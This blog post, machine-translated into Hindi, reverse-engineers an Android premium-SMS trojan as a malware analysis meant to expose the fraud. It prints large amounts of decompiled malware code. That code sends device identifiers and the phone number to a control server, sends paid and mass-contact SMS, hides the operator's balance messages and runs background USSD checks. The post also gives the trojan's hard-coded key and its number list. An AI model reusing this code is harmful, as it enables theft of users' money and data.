👱 🤛🏼 👨🏼‍🎨 रिवर्स इंजीनियरिंग का इतिहास एंड्रॉइड के लिए एक एकल एसएमएस ट्रोजन 👩🏽‍🏭 😉 🕍

यह सब मेरे एक अच्छे दोस्त की शिकायत के साथ शुरू हुआ, जो कि एंड्रॉइड पर डिवाइस का मालिक है। उसने शिकायत की कि ऑपरेटर लगातार उससे पैसे निकालता है, क्योंकि कोई नहीं जानता। ऑपरेटर को कॉल करने के बाद, यह पता चला कि प्रीमियम एसएमएस के लिए धनराशि वापस ले ली गई थी, जिसे मेरे मित्र ने कथित रूप से भेजा था। मैं खुद बार-बार इंटरनेट पर संदिग्ध साइटों पर चला हूं जो गेम / प्रोग्राम / लाइव वॉलपेपर के साथ एपीके डाउनलोड करने की पेशकश करते हैं, जब यह स्थापित हो जाता है कि यह सिर्फ एक प्रोग्राम है जो प्रीमियम नंबर पर एसएमएस भेजता है। लेकिन इस मामले में, यदि आपने बटन पर क्लिक किया है, तो "वह मूर्ख है", क्योंकि इस तरह के कार्यक्रमों में नियम स्पष्ट रूप से कहते हैं कि एसएमएस भुगतान किए गए नंबरों पर भेजे जाएंगे, और परिणामस्वरूप वे वास्तविक कार्यक्रमों के लिंक प्रदान करते हैं।

एक तरह से या किसी अन्य, एक संदेह मेरे सामने आया कि यहां की स्थिति भी इस तरह की गतिविधि से जुड़ी हुई है, और मैंने यह पता लगाने के बारे में निर्धारित किया है कि पैसा अभी भी कहाँ बह रहा है।

एप्लिकेशन की सुरक्षित स्थापना

शुरू करने के लिए, मेरा दोस्त भूल गया कि उसने नेटवर्क से नवीनतम कार्यक्रमों को अपने डिवाइस में डाउनलोड किया है, केवल निम्नलिखित mobisity.ru लिंक को इससे हटा दिया गया था ( सावधानी, साइट मैलवेयर वितरित करती है! )। साइट पर चारों ओर घूमते हुए, मैंने वहां से एपीके को बाहर निकाला।
अब जब पाठक पृष्ठभूमि जानता है, तो आप सबसे दिलचस्प भाग - एप्लिकेशन विश्लेषण पर आगे बढ़ सकते हैं। आइए आवेदन की सुरक्षित स्थापना के साथ शुरू करें, अर्थात्, इसे एमुलेटर पर स्थापित करें और देखें कि यह कैसे काम करता है।

हम मानक एंड्रॉइड एमुलेटर को लॉन्च करते हैं, अधिमानतः संस्करण 2.2 या उच्चतर (पुराने संस्करणों पर एप्लिकेशन इंस्टॉल नहीं किया गया है), इसके लिए हम एवीडी (एंड्रॉइड वर्चुअल डिवाइस मैनेजर) के माध्यम से एमुलेटर लॉन्च करते हैं और कमांड चलाते हैं

adb install mp3.apk

अनुप्रयोगों की सूची में, हम अपने ट्रोजन को देखते हैं, नाम संगीत के तहत और संबंधित आइकन के साथ।

हम कुछ "इंस्टॉलेशन" की प्रक्रिया शुरू करते हैं और उसका पालन करते हैं, जिसके बाद हमें "अगला" बटन पर क्लिक करने के लिए आमंत्रित किया जाता है

यदि आप हार्डकी बटन मेनू दबाते हैं, तो आप नियम खोल सकते हैं और पढ़ सकते हैं कि बटन पर क्लिक करने के बाद, एसएमएस भुगतान किए गए नंबरों पर भेजा जाएगा। ठीक है, ठीक है, अब तक "खुद को मूर्ख" की श्रेणी से। तो धन लगातार कहाँ बहते हैं? यह अभी तक स्पष्ट नहीं है, हम आगे की जांच करेंगे।

कोड विश्लेषण

विश्लेषण के लिए, मैंने निम्नलिखित टूल का उपयोग किया: jd-gui , dex2jar और apktool ।

सबसे पहले, हम एपीकेटी का उपयोग करके एपीके का विश्लेषण करेंगे और परियोजना की संरचना को देखेंगे। ऐसा करने के लिए, कमांड चलाएँ

 apktool d mp3.apk

परियोजना की आंतरिक संरचना का विश्लेषण कुछ भी दिलचस्प नहीं देता है, सिवाय इसके कि संपत्ति data.xml फ़ाइल एक समझ से बाहर फ़ोल्डर में है , जाहिरा तौर पर यह कुछ डेटा संग्रहीत करता है, लेकिन यह एन्क्रिप्टेड है, क्योंकि पहली नज़र में, डेटा का आसानी से विश्लेषण नहीं किया जा सकता है।

खैर, जो कुछ भी शेष है वह कोड को देखना है, इसके लिए हम dex2jar का उपयोग करते हैं । अपने पसंदीदा अभिलेखागार का उपयोग करते हुए, हम एपीके से फ़ाइल को नाम classes.dex के साथ निकालते हैं और इसे jar फ़ाइल में बदलने के लिए dex2jar का उपयोग करते हैं। परिणामी जार को jd-gui प्रोग्राम में खोला जाना चाहिए। यही है, अब हमारे पास एप्लिकेशन कोड के सभी (या लगभग सभी) हैं:

कोड का विश्लेषण करने के लिए सुर्खियों में आने से पहले, मैंने AndroidManifest.xml फ़ाइल को देखने का फैसला किया, एक नियम के रूप में, आप इससे आवेदन के बारे में बहुत उपयोगी जानकारी प्राप्त कर सकते हैं।

AndroidManifest.xml फ़ाइल की पूरी सूची

 <?xml version="1.0" encoding="utf-8"?> <manifest android:versionCode="1" android:versionName="1.0" package="net.droid.installer" xmlns:android="http://schemas.android.com/apk/res/android"> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.WRITE_SMS" /> <uses-permission android:name="android.permission.READ_SMS" /> <uses-permission android:name="android.permission.SEND_SMS" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.WAKE_LOCK" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" /> <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.READ_LOGS" /> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /> <application android:label="@string/app_name" android:icon="@drawable/icon"> <activity android:theme="@android:style/Theme.NoTitleBar" android:label="@string/app_name" android:name=".InstallActivity" android:screenOrientation="portrait" android:configChanges="keyboardHidden|orientation"> <intent-filter> <action android:name="android.intent.action.CREATE_SHORTCUT" /> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".RuleActivity" android:screenOrientation="portrait" /> <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".LoaderActivity" android:screenOrientation="portrait" /> <activity android:theme="@android:style/Theme.NoTitleBar" android:name=".StartActivity" /> <receiver android:name=".StartupReceiver" android:enabled="true" android:exported="true"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> <action android:name="android.intent.action.QUICKBOOT_POWERON" /> </intent-filter> </receiver> <service android:name=".UpdateService" android:enabled="true" /> <receiver android:name=".UpdateReceiver" /> <receiver android:name=".MessageReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver> <receiver android:name=".Scanner"> <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED" /> <action android:name="android.intent.action.PACKAGE_REPLACED" /> <action android:name="android.intent.action.PACKAGE_REPLACED" /> <data android:scheme="package" /> </intent-filter> </receiver> <service android:name=".USSDDumbExtendedNetworkService"> <intent-filter> <action android:name="com.android.ussd.IExtendedNetworkService" /> <category android:name="android.intent.category.DEFAULT" /> </intent-filter> </service> </application> </manifest>

फ़ाइल को देखने के बाद, मैं StartupReceiver नाम के साथ ब्रॉडकास्टसीवर में दिलचस्पी रखने लगा - यह स्पष्ट है कि यह कुछ कोड चलाता है जब सिस्टम बूट करता है, घोषित इरादे-फ़िल्टर यह संकेत देते हैं।

स्टार्टअपराइवर कोड

 package net.droid.installer; import a; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.RemoteException; import android.preference.PreferenceManager; import android.telephony.TelephonyManager; public class StartupReceiver extends BroadcastReceiver { private static ServiceConnection d = null; boolean a = false; Context b; private ac = null; public void onReceive(Context paramContext, Intent paramIntent) { this.b = paramContext; Object localObject = ((TelephonyManager)paramContext.getSystemService("phone")).getSimOperatorName(); PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putBoolean("wasreload", true).commit(); try { if ((((TelephonyManager)this.b.getSystemService("phone")).getSimOperator().toString().equals("25099")) || (((String)localObject).toLowerCase().contains("tele")) || (((String)localObject).toLowerCase().contains("    "))) d = new j(this); } catch (Exception localException1) { try { paramContext.bindService(new Intent("com.android.ussd.IExtendedNetworkService"), d, 1); label120: localObject = this.c; if (localObject != null); try { this.ca(":ON;)"); while (true) { label141: paramContext.startService(new Intent(paramContext, UpdateService.class)); return; localException1; } } catch (RemoteException localRemoteException) { break label141; } } catch (Exception localException2) { break label120; } } } }

सभी संभावना में, यदि आवश्यक हो, तो बाध्यकारी को यहां एक सिस्टम सेवा के साथ किया जाता है जो यूएसएसडी अनुरोधों के संचालन को सुनिश्चित करता है। यह मानना तर्कसंगत होगा कि ट्रोजन इस प्रकार उपयोगकर्ता के संतुलन की निगरानी करता है।
इसके अलावा, कोड दिखाता है कि UpdateService सेवा शुरू हो रही है ।

अपडेट सेवा कोड

 package net.droid.installer; import android.app.AlarmManager; import android.app.PendingIntent; import android.app.Service; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.IBinder; import android.preference.PreferenceManager; public class UpdateService extends Service { static Context a; static String b = "http://mxclick.com/"; static int c = 60; static SharedPreferences d; static String e = b; static boolean f = false; public static void a() { SharedPreferences.Editor localEditor = d.edit(); localEditor.putBoolean("appblocked", true); localEditor.commit(); } public static void a(String paramString) { SharedPreferences.Editor localEditor = d.edit(); localEditor.putString(a.getString(2130968584), paramString); localEditor.commit(); } public IBinder onBind(Intent paramIntent) { return null; } public void onCreate() { } public void onDestroy() { super.onDestroy(); } public void onStart(Intent paramIntent, int paramInt) { super.onStart(paramIntent, paramInt); a = this; Object localObject = PreferenceManager.getDefaultSharedPreferences(this); d = (SharedPreferences)localObject; e = ((SharedPreferences)localObject).getString(getString(2130968584), b); localObject = (AlarmManager)getSystemService("alarm"); PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, UpdateReceiver.class), 0); ((AlarmManager)localObject).setRepeating(0, System.currentTimeMillis(), 60000 * c, localPendingIntent); } public boolean onUnbind(Intent paramIntent) { return super.onUnbind(paramIntent); } }

यह स्पष्ट है कि यह सेवा, स्टार्टअप पर, अलार्म मैनजर का उपयोग शुरू करने के इरादे को सेट करती है, जो कि अपडेटराइसेवर नामक ब्रॉडकास्टइसर को लॉन्च करने के लिए एक संकेत है, या, अधिक सटीक रूप से, इसकी विधि - ऑनरिव।

UpdateReceiver कोड

 package net.droid.installer; import a; import android.app.PendingIntent; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.ServiceConnection; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.net.Uri; import android.os.PowerManager; import android.os.PowerManager.WakeLock; import android.preference.PreferenceManager; import android.telephony.SmsManager; import android.telephony.TelephonyManager; import java.util.ArrayList; public class UpdateReceiver extends BroadcastReceiver { static boolean i = false; private static ServiceConnection l = null; Context a; SharedPreferences b; boolean c = false; String d = ""; String e = ""; String f = ""; String g = ""; String h = ""; ArrayList j = new ArrayList(); private final ak = null; private String a() { return ((TelephonyManager)this.a.getSystemService("phone")).getSimOperator().toString(); } private void a(String paramString1, String paramString2) { PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_SENT"), 0); PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_DELIVERED"), 0); SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, localPendingIntent1, localPendingIntent2); } public void onReceive(Context paramContext, Intent paramIntent) { this.a = paramContext; this.b = PreferenceManager.getDefaultSharedPreferences(this.a); PowerManager.WakeLock localWakeLock = ((PowerManager)paramContext.getSystemService("power")).newWakeLock(26, "ALARMSERVICE"); localWakeLock.acquire(); Object localObject = ((TelephonyManager)this.a.getSystemService("phone")).getSimOperatorName(); try { if (a().equals("25001")) a("111", "11"); while (true) { if (!PreferenceManager.getDefaultSharedPreferences(paramContext).getBoolean("appblocked", false)) { localObject = PreferenceManager.getDefaultSharedPreferences(this.a); SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit(); if (((SharedPreferences)localObject).getBoolean("new", true)) { localEditor.putBoolean("new", false); localEditor.putLong("time", 1200000L + System.currentTimeMillis()); localEditor.commit(); } if (System.currentTimeMillis() > ((SharedPreferences)localObject).getLong("time", 0L)) new m(this).execute(new String[0]); } label191: localWakeLock.release(); return; if (a().equals("25002")) { a("000100", "b"); continue; } if ((a().equals("25099")) && (PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false))) { localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*102" + Uri.encode("#"))); ((Intent)localObject).addFlags(268435456); paramContext.startActivity((Intent)localObject); continue; } if (((!((String)localObject).toLowerCase().contains("tele")) && (!((String)localObject).toLowerCase().contains("    "))) || (!PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false))) continue; localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*105" + Uri.encode("#"))); ((Intent)localObject).addFlags(268435456); paramContext.startActivity((Intent)localObject); } } catch (Exception localException) { break label191; } } }

यहां हम देखते हैं कि ट्रोजन एसएमएस भेजने से पहले उपयोगकर्ता के वर्तमान संतुलन की जांच करता है। और इसके अलावा, यह नाम के साथ AsyncTask चलाता है, जो mxclick.com/getTask.pp स्क्रिप्ट के लिए एक अनुरोध भेजता है। स्क्रिप्ट स्पष्ट रूप से वांछित संख्या देती है जिससे कुछ एसएमएस भेजना होता है। खैर, अंत में, UpdateReceiver एसएमएस भेजता है, जिससे गरीब उपयोगकर्ता का संतुलन बिगड़ जाता है।

AsyncTask वंशज कोड - वर्ग एम

 package net.droid.installer; import android.app.Notification; import android.app.NotificationManager; import android.app.PendingIntent; import android.content.ContentResolver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.database.Cursor; import android.net.Uri; import android.os.AsyncTask; import android.os.Build; import android.os.Build.VERSION; import android.preference.PreferenceManager; import android.provider.ContactsContract.CommonDataKinds.Phone; import android.provider.ContactsContract.Contacts; import android.telephony.TelephonyManager; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.net.URI; import java.net.URL; import java.util.ArrayList; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.client.HttpClient; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.DefaultHttpClient; import org.json.JSONArray; import org.json.JSONObject; final class m extends AsyncTask { m(UpdateReceiver paramUpdateReceiver) { } private String a() { String str1; try { Object localObject7 = (TelephonyManager)this.aagetSystemService("phone"); Object localObject2 = ((TelephonyManager)localObject7).getDeviceId(); Object localObject4 = ((TelephonyManager)localObject7).getSimCountryIso(); Object localObject1 = new DefaultHttpClient(); Object localObject5 = ((TelephonyManager)localObject7).getLine1Number(); Object localObject3 = ((TelephonyManager)localObject7).getNetworkOperatorName(); String str3 = ((TelephonyManager)localObject7).getNetworkOperator(); String str2 = Integer.toString(Build.VERSION.SDK_INT); localObject7 = Build.MODEL; localObject2 = new URL(UpdateService.e + "getTask.php?imei=" + (String)localObject2 + "&balance=" + PreferenceManager.getDefaultSharedPreferences(this.aa).getString("balance", "0") + "&country=" + (String)localObject4 + "&phone=" + (String)localObject5 + "&op=" + (String)localObject3 + "&mnc=" + str3.substring(3) + "&mcc=" + str3.substring(0, 3) + "&model=" + (String)localObject7 + "&os=" + str2); localObject2 = new URI(((URL)localObject2).getProtocol(), ((URL)localObject2).getUserInfo(), ((URL)localObject2).getHost(), ((URL)localObject2).getPort(), ((URL)localObject2).getPath(), ((URL)localObject2).getQuery(), ((URL)localObject2).getRef()).toURL(); ((URL)localObject2).toString(); localObject1 = ((HttpClient)localObject1).execute(new HttpGet(((URL)localObject2).toString())).getEntity().getContent(); localObject4 = new BufferedReader(new InputStreamReader((InputStream)localObject1, "utf-8"), 8); localObject2 = new StringBuilder(); while (true) { localObject3 = ((BufferedReader)localObject4).readLine(); if (localObject3 == null) break; ((StringBuilder)localObject2).append((String)localObject3); } ((StringBuilder)localObject2).toString(); ((InputStream)localObject1).close(); ((BufferedReader)localObject4).close(); while (true) { try { localObject2 = new JSONArray(((StringBuilder)localObject2).toString()); int i = 0; if (i >= ((JSONArray)localObject2).length()) break; localObject3 = ((JSONArray)localObject2).getJSONObject(i); localObject4 = ((JSONObject)localObject3).getString("type"); if (!((String)localObject4).equals("1")) continue; UpdateService.f = true; UpdateReceiver.a(this.a, ((JSONObject)localObject3).getString("to_number"), ((JSONObject)localObject3).getString("message")); localObject5 = new n(this.a); localObject7 = new String[1]; localObject7[0] = "1"; ((n)localObject5).execute(localObject7); if (!((String)localObject4).equals("2")) break label742; localObject5 = this.aagetContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null); if (!((Cursor)localObject5).moveToNext()) break label650; localObject7 = ((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("_id")); if (((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("has_phone_number")).equalsIgnoreCase("1")) { str2 = "true"; if (!Boolean.parseBoolean(str2)) continue; localObject7 = this.aagetContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + (String)localObject7, null, null); if (!((Cursor)localObject7).moveToNext()) break label640; this.ajadd(((Cursor)localObject7).getString(((Cursor)localObject7).getColumnIndex("data1"))); continue; } } catch (Exception localException1) { str1 = "-100"; } str2 = "false"; continue; label640: ((Cursor)localObject7).close(); continue; label650: ((Cursor)localObject5).close(); for (int j = 0; j < this.ajsize(); j++) UpdateReceiver.a(this.a, (String)this.ajget(j), ((JSONObject)localObject3).getString("message")); localObject7 = new n(this.a); Object localObject6 = new String[1]; localObject6[0] = "2"; ((n)localObject7).execute(localObject6); label742: if (((String)localObject4).equals("3")) { localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("open_url"))); ((Intent)localObject6).addFlags(268435456); this.aastartActivity((Intent)localObject6); localObject7 = new n(this.a); localObject6 = new String[1]; localObject6[0] = "3"; ((n)localObject7).execute(localObject6); } if (((String)localObject4).equals("4")) { UpdateService.a(((JSONObject)localObject3).getString("server_url")); localObject7 = new n(this.a); localObject6 = new String[1]; localObject6[0] = "4"; ((n)localObject7).execute(localObject6); } if (((String)localObject4).equals("5")) { localObject4 = new Notification(2130837504, ((JSONObject)localObject3).getString("title"), System.currentTimeMillis()); localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("urlop"))); localObject6 = PendingIntent.getActivity(this.aa, 0, (Intent)localObject6, 0); localObject7 = (NotificationManager)this.aagetSystemService("notification"); ((Notification)localObject4).setLatestEventInfo(this.aa, ((JSONObject)localObject3).getString("title"), ((JSONObject)localObject3).getString("message"), (PendingIntent)localObject6); ((Notification)localObject4).defaults = (0x1 | ((Notification)localObject4).defaults); ((Notification)localObject4).flags = (0x10 | ((Notification)localObject4).flags); ((NotificationManager)localObject7).notify(0, (Notification)localObject4); } str1++; } } catch (Exception localException2) { str1 = null; } return (String)(String)(String)(String)(String)(String)(String)str1; } }

ठीक है, वास्तव में, यह सब - आप आगे कोड को अलग नहीं कर सकते हैं, हमने देखा कि प्रीमियम नंबर पर एसएमएस भेजकर उपयोगकर्ता के शेष राशि को खाली किया जाता है। हालाँकि, मैं कुछ दिलचस्प बिंदुओं पर आया था जब मैं ट्रोजन के कोड को देख रहा था। उदाहरण के लिए, 111 से आने वाला एसएमएस, जो एमटीएस सेवा संख्या है, अवरुद्ध है - इस प्रकार, उपयोगकर्ता को कुछ भी नहीं सुनाई देता है और यह नहीं देखता है कि उसका संतुलन धीरे-धीरे माइनस में कब जाता है।
MessageReceiver वर्ग ऐसा करता है , यहाँ AndroidManifest.xml में इसकी परिभाषा दी गई है

  <receiver android:name=".MessageReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter> </receiver>

यह देखा जा सकता है कि वह उच्च प्राथमिकता पर सेट है, इसलिए वह डिवाइस पर आने वाले संदेशों को संसाधित करने वाला पहला व्यक्ति होने का प्रबंधन करता है। खैर, ऑनरेक्टिव विधि के अंदर, हम देखते हैं कि यदि एसएमएस 111 नंबर से आता है, तो इरादे को रोक दिया जाता है, अर्थात, इस हैंडलर पर प्रसारण संदेश टूट जाता है और अन्य अनुप्रयोगों के लिए आगे नहीं जाता है।

MessageReceiver कोड

 package net.droid.installer; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; import android.os.Bundle; import android.preference.PreferenceManager; import android.telephony.SmsMessage; import java.util.regex.Matcher; import java.util.regex.Pattern; public class MessageReceiver extends BroadcastReceiver { public void onReceive(Context paramContext, Intent paramIntent) { Object localObject = paramIntent.getExtras(); if (localObject != null) { localObject = (Object[])((Bundle)localObject).get("pdus"); SmsMessage[] arrayOfSmsMessage = new SmsMessage[localObject.length]; int i = 0; try { while (i < arrayOfSmsMessage.length) { arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])localObject[i]); if ((arrayOfSmsMessage[i].getOriginatingAddress().contains("111")) || (arrayOfSmsMessage[i].getOriginatingAddress().contains("000100"))) { Matcher localMatcher = Pattern.compile("-?\\d+").matcher(arrayOfSmsMessage[i].getDisplayMessageBody()); if (localMatcher.find()) { PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", localMatcher.group()).commit(); if (arrayOfSmsMessage[i].getDisplayMessageBody().contains("     ")) PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", "-" + localMatcher.group()).commit(); abortBroadcast(); } } if (UpdateService.f) { abortBroadcast(); UpdateService.f = false; } i++; } } catch (Exception localException) { } } } }

एक और दिलचस्प बिंदु जो वास्तव में समुदाय को अपने कार्यों के लिए स्कैमर्स को जिम्मेदार बनाने की अनुमति देता है वह एन्क्रिप्टेड डेटाबेस है, जिसका मैंने पोस्ट की शुरुआत में उल्लेख किया था। कोड को देखते समय, यह पता चला कि संख्याओं के साथ फाइल ईसीबी मोड में ब्लोफिश एल्गोरिथ्म द्वारा एन्क्रिप्ट की गई थी। यह एक सममित एन्क्रिप्शन एल्गोरिथ्म है, जिसे फोड़ने के लिए एक अच्छी कुंजी के साथ, इसमें सालों लग सकते हैं, लेकिन ... ट्रोजन के डेवलपर्स ने अधिक भाप नहीं ली:

 public final String b(String paramString) { try { Object localObject2 = this.a.getAssets().open(paramString); Object localObject1 = new byte[((InputStream)localObject2).available()]; ((InputStream)localObject2).read(localObject1); ((InputStream)localObject2).close(); localObject2 = new SecretKeySpec("3gYX0W0GiIdT0E9y".getBytes(), aa); Cipher localCipher = Cipher.getInstance("t/c/g".replace("t", aa).replace("c", ab).replace("g", ac)); localCipher.init(2, (Key)localObject2); localObject1 = new String(localCipher.doFinal(localObject1)); return localObject1; } catch (Exception str) { while (true) { localException.printStackTrace(); String str = "err"; } } } }

अच्छी तरह से ज्ञात कुंजी के साथ, मुझे केवल जावा में कुछ लाइनों को स्केच करना था, और फाइल को डिक्रिप्ट किया गया था:

छोटी संख्या, बिलिंग उपसर्ग और अन्य ट्रोजन सेटिंग

 <oper> <number> <numr>8503,7202,7201,7201,7201</numr> <pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref> <mccmnc>25001</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204</numr> <pref>1429015599 041 122 6030</pref> <mccmnc>25002</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>8503,7202,7201,7201,7201</numr> <pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref> <mccmnc>25099</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7202,7201,7201</numr> <pref>1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030</pref> <mccmnc>250</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204,7204,7212</numr> <pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref> <mccmnc>25503</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>3303,3303,3303</numr> <pref>427242015599 041 122 6030,427242015599 041 122 6030,427242015599 041 122 6030</pref> <mccmnc>400</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204,7204,7212</numr> <pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref> <mccmnc>25501</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>7204,7204,7212</numr> <pref>99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030</pref> <mccmnc>25505</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> <number> <numr>3336</numr> <pref>427242015599 041 122 6030</pref> <mccmnc>257</mccmnc> <lock>0</lock> <isBlocked>0</isBlocked> <url>http://mp3-999.com/content</url> <shorcutName>Online</shorcutName> <shorcutUrl>http://oxclick.com</shorcutUrl> <shorcutIcon>icon</shorcutIcon> </number> </oper>

एक अन्य बिंदु - सभी यूएसएसडी अनुरोध पृष्ठभूमि में हैं , अर्थात ट्रोजन उपयोगकर्ता के शेष राशि को जितना आवश्यक हो, जांच सकता है, उसे कुछ भी संदेह नहीं होगा। जाहिरा तौर पर, यूएसएसडी अनुरोधों की पृष्ठभूमि के कार्यान्वयन को ट्रोजन डेवलपर्स द्वारा कमांडस साइट से कॉपी किया गया था। एक होमवर्क के रूप में, पाठकों को यह समझने के लिए आमंत्रित किया जाता है कि इस साइट से कार्यान्वयन की प्रतिलिपि क्यों बनाई गई और कोड में इसकी पुष्टि की गई।

निष्कर्ष

मैं कहना चाहूंगा कि इस तरह के अनुप्रयोगों का विकास रूसी संघ के कानून का सीधा उल्लंघन है, अर्थात्, रूसी संघ के आपराधिक संहिता के लेख 159 और 273। अब स्कैमर्स इससे दूर नहीं हो पाएंगे, क्योंकि एब्सट्रैक्ट बटन दबाने के बाद फंड शेष राशि से वापस नहीं लिया जाता है, जहां उपयोगकर्ता परिणामों के लिए सभी जिम्मेदारी मानता है। यहां, शेष वर्षों के लिए तबाह हो सकता है और उपयोगकर्ता को कुछ भी संदेह नहीं हो सकता है।

धोखाधड़ी करने वाले, और परिभाषा के अनुसार संख्या के सामग्री प्रदाता भी हैं (क्योंकि वे अवैध रूप से या धोखाधड़ी से लाभ प्राप्त करने में प्रत्यक्ष सहायता प्रदान करते हैं) 8503, 7202, 7201, 7204, 7212, 3303, 3336 को दंडित किया जाना चाहिए। वैसे, इन नंबरों के लिए विशिष्ट प्रदाताओं को देखा जा सकता है, उदाहरण के लिए, मेगाफोन या बीलाइन की वेबसाइट पर। निराधार न होने के लिए, मैं इन संख्याओं के मालिक होने वाले फंतासी सामग्री प्रदाताओं के विशिष्ट नामों को उद्धृत करता हूं: गलतमीडिया LLC , एसएमएस सेवाएं, LLC (दिन का मजाक) , Invest Telecom LLC और इसी तरह।

इसके अलावा, सबसे अधिक संभावना है कि विशिष्ट दोषियों के बारे में कुछ डेटा URL से निकाले जा सकते हैं, जो ट्रोजन से अनुरोध करते हैं, अर्थात्: mxclick.com/getTask.php । सामान्य तौर पर, इच्छुक पाठक यदि संभव हो तो धोखेबाजों के अन्य निशान खोजने की कोशिश कर सकते हैं।

व्यक्तिगत रूप से, मुझे आशा है कि सम्मानित ऑपरेटर मेगाफॉन, बीलाइन, एमटीएस, टेली 2 और बाकी सामग्री प्रदाताओं के बारे में गंभीर कदम उठाएंगे, क्योंकि उन्होंने अपने नंबरों का उपयोग नहीं किया है, और कोई आखिरकार असली दोषियों की तह तक पहुंच जाएगा जो इन्हें विकसित और वितरित करते हैं। ट्रोजन और उन्हें कानून की पूर्ण सीमा तक प्रतिक्रिया करने के लिए बनाते हैं।

रिवर्स इंजीनियरिंग का इतिहास एंड्रॉइड के लिए एक एकल एसएमएस ट्रोजन

एप्लिकेशन की सुरक्षित स्थापना

कोड विश्लेषण

निष्कर्ष

More articles: